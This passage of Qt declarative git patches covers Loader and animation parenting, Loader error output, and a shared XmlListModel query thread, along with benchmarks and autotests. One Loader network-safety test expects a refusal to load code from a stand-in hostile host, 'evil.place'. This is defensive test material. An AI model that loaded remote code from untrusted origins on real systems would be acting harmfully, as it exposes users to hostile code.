QTRY_VERIFY(!component.isLoading()); + + QVERIFY(!component.isError()); + } +} + void tst_qdeclarativelanguage::importsInstalled_data() { // QT-610 diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 0deac3a..f27c1ce 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -491,7 +491,7 @@ void tst_QDeclarativeLoader::networkSafety_data() QTest::addColumn("message"); QTest::newRow("same origin") << QUrl("http://127.0.0.1:14445/sameorigin.qml") << QString(); - QTest::newRow("different origin") << QUrl("http://127.0.0.1:14445/differentorigin.qml") << QString(" QUrl( \"http://evil.place/evil.qml\" ) is not a safe origin from QUrl( \"http://127.0.0.1:14445/differentorigin.qml\" ) "); + QTest::newRow("different origin") << QUrl("http://127.0.0.1:14445/differentorigin.qml") << QString("QML Loader (http://127.0.0.1:14445/differentorigin.qml:3:1) \"http://evil.place/evil.qml\" is not a safe origin from \"http://127.0.0.1:14445/differentorigin.qml\""); } void tst_QDeclarativeLoader::networkSafety() -- cgit v0.12 From 738c3a68e5ebe8051234ba17a15f2e0585f3d722 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 23 Mar 2010 16:12:38 +1000 Subject: Animation construction optimization. Use setParent_NoEvent when parenting to group. --- src/declarative/util/qdeclarativeanimation.cpp | 2 +- .../qdeclarativetime/tests/animation/large.qml | 41 ++++++++++++++++++++++ .../tests/animation/largeNoProps.qml | 41 ++++++++++++++++++++++ 3 files changed, 83 insertions(+), 1 deletion(-) create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index 1fb3d99..bead842 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -1318,8 +1318,8 @@ void QDeclarativeAnimationGroupPrivate::append_animation(QDeclarativeListPropert { QDeclarativeAnimationGroup *q = qobject_cast(list->object); if (q) { - q->d_func()->animations.append(a); a->setGroup(q); + QDeclarative_setParent_noEvent(a->qtAnimation(), q->d_func()->ag); q->d_func()->ag->addAnimation(a->qtAnimation()); } } diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml new file mode 100644 index 0000000..978e3bf --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { duration: 500 } + NumberAnimation { duration: 4000; } + NumberAnimation { duration: 2000; easing.type: "OutBack"} + ColorAnimation { duration: 3000} + SequentialAnimation { + PauseAnimation { duration: 1000 } + ScriptAction { script: doSomething(); } + PauseAnimation { duration: 800 } + ScriptAction { script: doSomethingElse(); } + PauseAnimation { duration: 800 } + ParallelAnimation { + NumberAnimation { duration: 200;} + SequentialAnimation { + PauseAnimation { duration: 200} + ParallelAnimation { + NumberAnimation { duration: 300;} + NumberAnimation { duration: 300;} + } + NumberAnimation { from: 0; to: 1; duration: 500 } + PauseAnimation { duration: 200 } + NumberAnimation { from: 1; to: 0; duration: 500 } + } + SequentialAnimation { + PauseAnimation { duration: 150} + NumberAnimation { duration: 300; easing.type: "OutBounce" } + } + } + } + } + } + } + +} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml new file mode 100644 index 0000000..cceb3f4 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + NumberAnimation { } + ColorAnimation { } + SequentialAnimation { + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + SequentialAnimation { + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + } + NumberAnimation { } + PauseAnimation { } + NumberAnimation { } + } + SequentialAnimation { + PauseAnimation { } + NumberAnimation { } + } + } + } + } + } + } + +} -- cgit v0.12 From 30275dfcb8c5303de201bc32fba2a6b9b26fa1cd Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 11:25:32 +1000 Subject: Use setParent_NoEvent in Loader and benchmark Loader performance. --- src/declarative/graphicsitems/qdeclarativeloader.cpp | 5 +++-- .../declarative/qdeclarativetime/tests/loader/Loaded.qml | 7 +++++++ .../qdeclarativetime/tests/loader/component_loader.qml | 16 ++++++++++++++++ .../qdeclarativetime/tests/loader/empty_loader.qml | 15 +++++++++++++++ .../qdeclarativetime/tests/loader/no_loader.qml | 14 ++++++++++++++ .../qdeclarativetime/tests/loader/source_loader.qml | 16 ++++++++++++++++ 6 files changed, 71 insertions(+), 2 deletions(-) create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml create mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index c0d316f..544e9ec 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -41,8 +41,9 @@ #include "qdeclarativeloader_p_p.h" -#include #include +#include +#include QT_BEGIN_NAMESPACE @@ -302,7 +303,7 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() return; } if (obj) { - ctxt->setParent(obj); + QDeclarative_setParent_noEvent(ctxt, obj); item = qobject_cast(obj); if (item) { if (QDeclarativeItem* qmlItem = qobject_cast(item)) { diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml new file mode 100644 index 0000000..6f8d849 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Item { + Rectangle {} + Text {} + Image {} +} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml new file mode 100644 index 0000000..270add4 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loader { + sourceComponent: Loaded {} + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml new file mode 100644 index 0000000..d3b84cc --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml @@ -0,0 +1,15 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loader {} + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml new file mode 100644 index 0000000..a94a12a --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml @@ -0,0 +1,14 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml new file mode 100644 index 0000000..39ed1a6 --- /dev/null +++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QDeclarativeTime 1.0 as QDeclarativeTime + +Item { + + QDeclarativeTime.Timer { + component: Component { + Item { + Loader { + source: "Loaded.qml" + } + } + } + } +} + -- cgit v0.12 From 364f6c200a6faac825c7f1e0158d708fc60a8ff5 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 12:42:04 +1000 Subject: Fix Loader leak when loading a non-QGraphicsObject object. --- src/declarative/graphicsitems/qdeclarativeloader.cpp | 6 +++++- tests/auto/declarative/qdeclarativeloader/data/nonItem.qml | 5 +++++ .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 13 +++++++++++++ 3 files changed, 23 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativeloader/data/nonItem.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 544e9ec..4301467 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -303,9 +303,9 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() return; } if (obj) { - QDeclarative_setParent_noEvent(ctxt, obj); item = qobject_cast(obj); if (item) { + QDeclarative_setParent_noEvent(ctxt, obj); if (QDeclarativeItem* qmlItem = qobject_cast(item)) { qmlItem->setParentItem(q); } else { @@ -314,6 +314,10 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() } // item->setFocus(true); initResize(); + } else { + qmlInfo(q) << QDeclarativeLoader::tr("Loader does not support loading non-visual elements."); + delete obj; + delete ctxt; } } else { delete obj; diff --git a/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml new file mode 100644 index 0000000..f42c1d5 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/nonItem.qml @@ -0,0 +1,5 @@ +import Qt 4.6 + +Loader { + sourceComponent: QtObject {} +} diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index f27c1ce..7123dda 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -91,6 +91,7 @@ private slots: // void networkComponent(); void deleteComponentCrash(); + void nonItem(); private: QDeclarativeEngine engine; @@ -485,6 +486,18 @@ void tst_QDeclarativeLoader::deleteComponentCrash() delete item; } +void tst_QDeclarativeLoader::nonItem() +{ + QSKIP("QTBUG-9245", SkipAll); + QDeclarativeComponent component(&engine, TEST_FILE("/nonItem.qml")); + QTest::ignoreMessage(QtWarningMsg, "QML Loader (file://" SRCDIR "/data/nonItem.qml:3:1) Loader does not support loading non-visual elements."); + QDeclarativeLoader *loader = qobject_cast(component.create()); + QVERIFY(loader); + QVERIFY(loader->item() == 0); + + delete loader; +} + void tst_QDeclarativeLoader::networkSafety_data() { QTest::addColumn("url"); -- cgit v0.12 From 50fe8dbed3adae3606bd2c32868821119b4f2808 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 13:17:44 +1000 Subject: Output all Loader errors. Previously we were not outputting those that occurred on component->create(). --- src/declarative/graphicsitems/qdeclarativeloader.cpp | 2 ++ .../declarative/qdeclarativeloader/data/VmeError.qml | 7 +++++++ .../declarative/qdeclarativeloader/data/vmeErrors.qml | 6 ++++++ .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 18 ++++++++++++++---- 4 files changed, 29 insertions(+), 4 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeloader/data/VmeError.qml create mode 100644 tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 4301467..2149da8 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -320,6 +320,8 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() delete ctxt; } } else { + if (!component->errors().isEmpty()) + qWarning() << component->errors(); delete obj; delete ctxt; source = QUrl(); diff --git a/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml new file mode 100644 index 0000000..da4f6cb --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/VmeError.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Rectangle { + width: 100; height: 100; color: "red" + signal somethingHappened + onSomethingHappened: QtObject {} +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml new file mode 100644 index 0000000..782562b --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/vmeErrors.qml @@ -0,0 +1,6 @@ +import Qt 4.6 + +Loader { + source: "VmeError.qml" +} + diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 7123dda..506e1ee 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -92,6 +92,7 @@ private slots: void deleteComponentCrash(); void nonItem(); + void vmeErrors(); private: QDeclarativeEngine engine; @@ -467,7 +468,7 @@ void tst_QDeclarativeLoader::failNetworkRequest() // QTBUG-9241 void tst_QDeclarativeLoader::deleteComponentCrash() { - QDeclarativeComponent component(&engine, TEST_FILE("/crash.qml")); + QDeclarativeComponent component(&engine, TEST_FILE("crash.qml")); QDeclarativeItem *item = qobject_cast(component.create()); QVERIFY(item); @@ -480,7 +481,6 @@ void tst_QDeclarativeLoader::deleteComponentCrash() QCOMPARE(loader->progress(), 1.0); QCOMPARE(loader->status(), QDeclarativeLoader::Ready); QCOMPARE(static_cast(loader)->children().count(), 1); - QEXPECT_FAIL("", "QTBUG-9245", Continue); QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/BlueRect.qml")); delete item; @@ -488,8 +488,7 @@ void tst_QDeclarativeLoader::deleteComponentCrash() void tst_QDeclarativeLoader::nonItem() { - QSKIP("QTBUG-9245", SkipAll); - QDeclarativeComponent component(&engine, TEST_FILE("/nonItem.qml")); + QDeclarativeComponent component(&engine, TEST_FILE("nonItem.qml")); QTest::ignoreMessage(QtWarningMsg, "QML Loader (file://" SRCDIR "/data/nonItem.qml:3:1) Loader does not support loading non-visual elements."); QDeclarativeLoader *loader = qobject_cast(component.create()); QVERIFY(loader); @@ -498,6 +497,17 @@ void tst_QDeclarativeLoader::nonItem() delete loader; } +void tst_QDeclarativeLoader::vmeErrors() +{ + QDeclarativeComponent component(&engine, TEST_FILE("vmeErrors.qml")); + QTest::ignoreMessage(QtWarningMsg, "(file://" SRCDIR "/data/VmeError.qml:6: Cannot assign object type QObject with no default method\n onSomethingHappened: QtObject {}) "); + QDeclarativeLoader *loader = qobject_cast(component.create()); + QVERIFY(loader); + QVERIFY(loader->item() == 0); + + delete loader; +} + void tst_QDeclarativeLoader::networkSafety_data() { QTest::addColumn("url"); -- cgit v0.12 From d33d30719d3c17fc1505e1b508999c76c6abc6b4 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Wed, 24 Mar 2010 13:34:14 +1000 Subject: Make compile. --- src/declarative/graphicsitems/qdeclarativeloader.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 2149da8..c06b006 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -188,7 +188,7 @@ void QDeclarativeLoader::setSource(const QUrl &url) return; if (!qmlContext(this)->isSafeOrigin(url)) { - qmlInfo(this) << tr("\"%1\" is not a safe origin from \"%2\"").arg(url).arg(qmlContext(this)->baseUrl()); + qmlInfo(this) << tr("\"%1\" is not a safe origin from \"%2\"").arg(url.toString()).arg(qmlContext(this)->baseUrl().toString()); return; } -- cgit v0.12 From 50e3f9dba978709c35c869ccaa8345719f23deb1 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 22 Mar 2010 16:00:27 +1000 Subject: Properly use one thread for all instances of XmlListModel. Task-number: QT-2831 --- src/declarative/util/qdeclarativexmllistmodel.cpp | 190 ++++++++++++--------- src/declarative/util/qdeclarativexmllistmodel_p.h | 15 +- .../tst_qdeclarativexmllistmodel.cpp | 66 +++++++ 3 files changed, 188 insertions(+), 83 deletions(-) diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index 01ae2ed..03ddddf 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -46,6 +46,7 @@ #include #include +#include #include #include #include @@ -61,8 +62,7 @@ QT_BEGIN_NAMESPACE - - +Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult) typedef QPair QDeclarativeXmlListRange; @@ -109,13 +109,25 @@ typedef QPair QDeclarativeXmlListRange; \sa XmlListModel */ +struct XmlQueryJob +{ + int queryId; + QByteArray data; + QString query; + QString namespaces; + QStringList roleQueries; + QStringList keyRoleQueries; + QStringList keyRoleResultsCache; +}; + class QDeclarativeXmlQuery : public QThread { Q_OBJECT public: QDeclarativeXmlQuery(QObject *parent=0) - : QThread(parent), m_quit(false), m_restart(false), m_abort(false), m_queryId(0) { + : QThread(parent), m_quit(false), m_abortQueryId(-1), m_queryIds(0) { + qRegisterMetaType("QDeclarativeXmlQueryResult"); } ~QDeclarativeXmlQuery() { m_mutex.lock(); @@ -126,27 +138,38 @@ public: wait(); } - void abort() { + void abort(int id) { QMutexLocker locker(&m_mutex); - m_abort = true; + m_abortQueryId = id; } - int doQuery(QString query, QString namespaces, QByteArray data, QList *roleObjects) { + int doQuery(QString query, QString namespaces, QByteArray data, QList *roleObjects, QStringList keyRoleResultsCache) { QMutexLocker locker(&m_mutex); - m_size = 0; - m_data = data; - m_query = QLatin1String("doc($src)") + query; - m_namespaces = namespaces; - m_roleObjects = roleObjects; - if (!isRunning()) { - m_abort = false; + + XmlQueryJob job; + job.queryId = m_queryIds; + job.data = data; + job.query = QLatin1String("doc($src)") + query; + job.namespaces = namespaces; + job.keyRoleResultsCache = keyRoleResultsCache; + + for (int i=0; icount(); i++) { + if (!roleObjects->at(i)->isValid()) { + job.roleQueries << ""; + continue; + } + job.roleQueries << roleObjects->at(i)->query(); + if (roleObjects->at(i)->isKey()) + job.keyRoleQueries << job.roleQueries.last(); + } + m_jobs.enqueue(job); + m_queryIds++; + + if (!isRunning()) start(); - } else { - m_restart = true; + else m_condition.wakeOne(); - } - m_queryId++; - return m_queryId; + return job.queryId; } QList > modelData() { @@ -164,26 +187,33 @@ public: return m_removedItemRanges; } + Q_SIGNALS: - void queryCompleted(int queryId, int size); + void queryCompleted(const QDeclarativeXmlQueryResult &); protected: void run() { while (!m_quit) { m_mutex.lock(); - int queryId = m_queryId; doQueryJob(); doSubQueryJob(); - m_data.clear(); // no longer needed m_mutex.unlock(); m_mutex.lock(); - if (!m_abort) - emit queryCompleted(queryId, m_size); - if (!m_restart) + const XmlQueryJob &job = m_jobs.dequeue(); + if (m_abortQueryId != job.queryId) { + QDeclarativeXmlQueryResult r; + r.queryId = job.queryId; + r.size = m_size; + r.data = m_modelData; + r.inserted = m_insertedItemRanges; + r.removed = m_removedItemRanges; + r.keyRoleResultsCache = job.keyRoleResultsCache; + emit queryCompleted(r); + } + if (m_jobs.isEmpty()) m_condition.wait(&m_mutex); - m_abort = false; - m_restart = false; + m_abortQueryId = -1; m_mutex.unlock(); } } @@ -197,30 +227,30 @@ private: private: QMutex m_mutex; QWaitCondition m_condition; + QQueue m_jobs; bool m_quit; - bool m_restart; - bool m_abort; - QByteArray m_data; - QString m_query; - QString m_namespaces; + int m_abortQueryId; QString m_prefix; int m_size; - int m_queryId; - const QList *m_roleObjects; + int m_queryIds; QList > m_modelData; - QStringList m_keysValues; QList m_insertedItemRanges; QList m_removedItemRanges; }; +Q_GLOBAL_STATIC(QDeclarativeXmlQuery, globalXmlQuery) + void QDeclarativeXmlQuery::doQueryJob() { + Q_ASSERT(!m_jobs.isEmpty()); + XmlQueryJob &job = m_jobs.head(); + QString r; QXmlQuery query; - QBuffer buffer(&m_data); + QBuffer buffer(&job.data); buffer.open(QIODevice::ReadOnly); query.bindVariable(QLatin1String("src"), &buffer); - query.setQuery(m_namespaces + m_query); + query.setQuery(job.namespaces + job.query); query.evaluateTo(&r); //qDebug() << r; @@ -231,9 +261,9 @@ void QDeclarativeXmlQuery::doQueryJob() b.open(QIODevice::ReadOnly); //qDebug() << xml; - QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + m_namespaces; + QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + job.namespaces; QString prefix = QLatin1String("doc($inputDocument)/dummy:items") + - m_query.mid(m_query.lastIndexOf(QLatin1Char('/'))); + job.query.mid(job.query.lastIndexOf(QLatin1Char('/'))); //figure out how many items we are dealing with int count = -1; @@ -249,19 +279,18 @@ void QDeclarativeXmlQuery::doQueryJob() } //qDebug() << count; + job.data = xml; m_prefix = namespaces + prefix + QLatin1Char('/'); - m_data = xml; + m_size = 0; if (count > 0) m_size = count; } void QDeclarativeXmlQuery::getValuesOfKeyRoles(QStringList *values, QXmlQuery *query) const { - QStringList keysQueries; - for (int i=0; icount(); i++) { - if (m_roleObjects->at(i)->isKey()) - keysQueries << m_roleObjects->at(i)->query(); - } + Q_ASSERT(!m_jobs.isEmpty()); + + const QStringList &keysQueries = m_jobs.head().keyRoleQueries; QString keysQuery; if (keysQueries.count() == 1) keysQuery = m_prefix + keysQueries[0]; @@ -291,54 +320,58 @@ void QDeclarativeXmlQuery::addIndexToRangeList(QList * void QDeclarativeXmlQuery::doSubQueryJob() { + Q_ASSERT(!m_jobs.isEmpty()); + XmlQueryJob &job = m_jobs.head(); m_modelData.clear(); - QBuffer b(&m_data); + QBuffer b(&job.data); b.open(QIODevice::ReadOnly); QXmlQuery subquery; subquery.bindVariable(QLatin1String("inputDocument"), &b); - QStringList keysValues; - getValuesOfKeyRoles(&keysValues, &subquery); + QStringList keyRoleResults; + getValuesOfKeyRoles(&keyRoleResults, &subquery); // See if any values of key roles have been inserted or removed. + m_insertedItemRanges.clear(); m_removedItemRanges.clear(); - if (m_keysValues.isEmpty()) { + if (job.keyRoleResultsCache.isEmpty()) { m_insertedItemRanges << qMakePair(0, m_size); } else { - if (keysValues != m_keysValues) { + if (keyRoleResults != job.keyRoleResultsCache) { QStringList temp; - for (int i=0; isize(); ++i) { - QDeclarativeXmlListModelRole *role = m_roleObjects->at(i); - if (!role->isValid()) { + const QStringList &queries = job.roleQueries; + for (int i = 0; i < queries.size(); ++i) { + if (queries[i].isEmpty()) { QList resultList; for (int j = 0; j < m_size; ++j) resultList << QVariant(); m_modelData << resultList; continue; } - subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + role->query() + QLatin1String(" return if ($v) then ") + role->query() + QLatin1String(" else \"\")")); + subquery.setQuery(m_prefix + QLatin1String("(let $v := ") + queries[i] + QLatin1String(" return if ($v) then ") + queries[i] + QLatin1String(" else \"\")")); QXmlResultItems resultItems; subquery.evaluateTo(&resultItems); QXmlItem item(resultItems.next()); @@ -404,8 +437,8 @@ public: QNetworkReply *reply; QDeclarativeXmlListModel::Status status; qreal progress; - QDeclarativeXmlQuery qmlXmlQuery; int queryId; + QStringList keyRoleResultsCache; QList roleObjects; static void append_role(QDeclarativeListProperty *list, QDeclarativeXmlListModelRole *role); static void clear_role(QDeclarativeListProperty *list); @@ -489,9 +522,8 @@ void QDeclarativeXmlListModelPrivate::clear_role(QDeclarativeListPropertyqmlXmlQuery, SIGNAL(queryCompleted(int,int)), - this, SLOT(queryCompleted(int,int))); + connect(globalXmlQuery(), SIGNAL(queryCompleted(QDeclarativeXmlQueryResult)), + this, SLOT(queryCompleted(QDeclarativeXmlQueryResult))); } QDeclarativeXmlListModel::~QDeclarativeXmlListModel() @@ -723,7 +755,7 @@ void QDeclarativeXmlListModel::reload() if (!d->isComponentComplete) return; - d->qmlXmlQuery.abort(); + globalXmlQuery()->abort(d->queryId); d->queryId = -1; int count = d->size; @@ -755,7 +787,7 @@ void QDeclarativeXmlListModel::reload() } if (!d->xml.isEmpty()) { - d->queryId = d->qmlXmlQuery.doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects); + d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects, d->keyRoleResultsCache); d->progress = 1.0; d->status = Ready; emit progressChanged(d->progress); @@ -802,7 +834,7 @@ void QDeclarativeXmlListModel::requestFinished() } else { d->status = Ready; QByteArray data = d->reply->readAll(); - d->queryId = d->qmlXmlQuery.doQuery(d->query, d->namespaces, data, &d->roleObjects); + d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, data, &d->roleObjects, d->keyRoleResultsCache); disconnect(d->reply, 0, this, 0); d->reply->deleteLater(); d->reply = 0; @@ -821,22 +853,20 @@ void QDeclarativeXmlListModel::requestProgress(qint64 received, qint64 total) } } -void QDeclarativeXmlListModel::queryCompleted(int id, int size) +void QDeclarativeXmlListModel::queryCompleted(const QDeclarativeXmlQueryResult &result) { Q_D(QDeclarativeXmlListModel); - if (id != d->queryId) + if (result.queryId != d->queryId) return; - bool sizeChanged = size != d->size; - d->size = size; - d->data = d->qmlXmlQuery.modelData(); - - QList removed = d->qmlXmlQuery.removedItemRanges(); - QList inserted = d->qmlXmlQuery.insertedItemRanges(); - - for (int i=0; isize; + d->size = result.size; + d->data = result.data; + d->keyRoleResultsCache = result.keyRoleResultsCache; + + for (int i=0; i #include +#include #include @@ -56,10 +57,18 @@ QT_BEGIN_NAMESPACE QT_MODULE(Declarative) class QDeclarativeContext; - class QDeclarativeXmlListModelRole; - class QDeclarativeXmlListModelPrivate; + +struct QDeclarativeXmlQueryResult { + int queryId; + int size; + QList > data; + QList > inserted; + QList > removed; + QStringList keyRoleResultsCache; +}; + class Q_DECLARATIVE_EXPORT QDeclarativeXmlListModel : public QListModelInterface, public QDeclarativeParserStatus { Q_OBJECT @@ -126,7 +135,7 @@ public Q_SLOTS: private Q_SLOTS: void requestFinished(); void requestProgress(qint64,qint64); - void queryCompleted(int,int); + void queryCompleted(const QDeclarativeXmlQueryResult &); private: Q_DECLARE_PRIVATE(QDeclarativeXmlListModel) diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp index 0e5e1b0..81cc922 100644 --- a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp +++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp @@ -74,6 +74,8 @@ private slots: void useKeys_data(); void noKeysValueChanges(); void keysChanged(); + void threading(); + void threading_data(); void propertyChanges(); private: @@ -86,6 +88,8 @@ private: if (!data.isEmpty()) { QStringList items = data.split(";"); foreach(const QString &item, items) { + if (item.isEmpty()) + continue; QVariantList variants; xml += QLatin1String(""); QStringList fields = item.split(","); @@ -505,6 +509,63 @@ void tst_qdeclarativexmllistmodel::keysChanged() delete model; } +void tst_qdeclarativexmllistmodel::threading() +{ + QFETCH(int, xmlDataCount); + + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/roleKeys.qml")); + + QDeclarativeXmlListModel *m1 = qobject_cast(component.create()); + QVERIFY(m1 != 0); + QDeclarativeXmlListModel *m2 = qobject_cast(component.create()); + QVERIFY(m2 != 0); + QDeclarativeXmlListModel *m3 = qobject_cast(component.create()); + QVERIFY(m3 != 0); + + for (int dataCount=0; dataCountsetXml(makeItemXmlAndData(data1)); + m2->setXml(makeItemXmlAndData(data2)); + m3->setXml(makeItemXmlAndData(data3)); + + QTRY_VERIFY(m1->count() == dataCount && m2->count() == dataCount && m3->count() == dataCount); + + for (int i=0; idata(i, m1->roles()[0]).toString(), QString("A" + QString::number(i))); + QCOMPARE(m1->data(i, m1->roles()[1]).toString(), QString("1" + QString::number(i))); + QCOMPARE(m1->data(i, m1->roles()[2]).toString(), QString("Football")); + + QCOMPARE(m2->data(i, m2->roles()[0]).toString(), QString("B" + QString::number(i))); + QCOMPARE(m2->data(i, m2->roles()[1]).toString(), QString("2" + QString::number(i))); + QCOMPARE(m2->data(i, m2->roles()[2]).toString(), QString("Athletics")); + + QCOMPARE(m3->data(i, m3->roles()[0]).toString(), QString("C" + QString::number(i))); + QCOMPARE(m3->data(i, 